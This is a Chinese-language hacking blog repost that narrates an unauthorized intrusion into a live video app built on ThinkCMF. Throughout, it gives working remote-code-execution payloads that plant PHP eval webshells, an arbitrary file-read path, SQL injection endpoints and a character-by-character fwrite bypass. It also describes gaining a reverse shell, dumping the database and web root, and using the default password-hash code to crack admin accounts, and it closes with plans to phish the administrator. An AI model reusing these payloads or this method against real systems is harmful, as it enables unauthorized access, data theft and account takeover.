Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86381714

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

在一个风和日丽的晚上,正兴奋逛Twitter的我,忽然发现下面推荐关注有这么一个xxxx视频的名片。

图片
这这这这,我可是正经人,不知道Twitter为啥会给我推送这些。这必须盘他,打开推广链接,辣眼睛,下载该app。

图片

这app一打开就给人一股熟悉的味道,一看感觉很有可能是tp二开的。

图片

注册手机号fiddler抓包改包,其实内容更辣眼睛

图片


抓包获取url发现这不就是thinkcmf吗?满脸淫笑的想这还不拿下,前台那么多rce,就算有狗也能秒之,然而很快被现实打脸。

命令执行POC:
payload1:

/index.php?g=api&m=Oauth&a=fetch&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php>

图片

payload2:

/?a=fetch&;templateFile=public/index&prefix=''&content=<php>file_put_contents('pass.php','<?php  @eval($_POST[1]); ?>')</php>

图片


payload3:

?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E

然后任意文件读取:

/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

最后在目录下会生成一个m.php一句话木马文件,当然也可以写成其他的payload。

图片

一顿操作猛如虎,一看文件404,难道就要凉凉了?

图片

不怕,另外该APP,还有SQL注入:
注入点1:

/index.php?g=Appapi&m=Video&videoid=1

图片

注入点2:

/index.php?g=Appapi&m=Auth&a=index&uid=128889&token=b69cda34dff2fa978a94b5583e7f5c9a

图片

图片

注入也凉凉,看来我这是要我掏出0day的节奏?算了还是忍忍吧。经过一番鼓捣研究,细节就不贴了,此处省略千字。说多了都是泪........
最后终于出了phpinfo,版本7.2以上
payload:

/?a=fetch&content=<?=phpinfo();exit();

这不离shell更近一步了,然后看disable_functions禁用这么求多。

图片

这里尝试了使用assert函数写入,以为成了,结果还是返回1

图片

@assert函数不行,这里就可以尝试读取文件file_get_contents,读取数据库配置文件

图片

在继续读取config.php文件时,突然想起之前下载app的时候是放在阿里云oss里面的,按理说他的配置文件里面应该有阿里云key和id,但现实终究是那么残酷,连aliyun这几个字母都没看到。

图片

读取一些配置文件没有东西,数据库和redis不可外连,于是就准备写个shell上去在仔细翻下,尝试用file_put_contents读取文件。

图片


好像不行,难道是参数问题,file_get_contents都能读任意文件,或者是目录不可写?尝试写在/tmp/1.txt也是同样的报错,想到php还要其他写文件的函数,于是w3school翻了下

图片

写入123到i.txt,成功写入文件

图片

图片

尝试写入php一句话,提示模板不存在,该怎么办?眼看shell到手了。仔细看fwrite参数 ,w+是打开写入,r+是追加,难道我要一个字符一个字符写入?没错,就是要一个字符一个字符写入。
?a=fetch&content=%3C?=@$fp=fopen(%221.php%22,%27a+%27);%20fwrite($fp,%27<%27);exit();

图片


最终可getshell

图片

绕过命令执行,反弹shell

图片

然后打包+脱裤

 mysqldump -h127.0.0.1 -uxxxx -pxxxx xxx >xxx.sql
tar -cvf 1.tar /www/wwwroot/xxx/

图片

以为这就完了 ?no,看了端口链接以及登陆ip还有搞头,后续待我钓到管理员pc,出续集,另外cmf密码默认加密

<?php
function setPass($pass)
{        
    $authcode = 'rCt52pF2cnnKNB3Hkp';
    $pass = "###" . md5(md5($authcode . $pass));
    return $pass;
}
echo setPass('123456')
?>

进后台的话,明文加密替管理员密文,或者加密明文去撞。


转载于原文链接: https://mp.weixin.qq.com/s/1gI8LC_FBFWG_ar3j1dZJw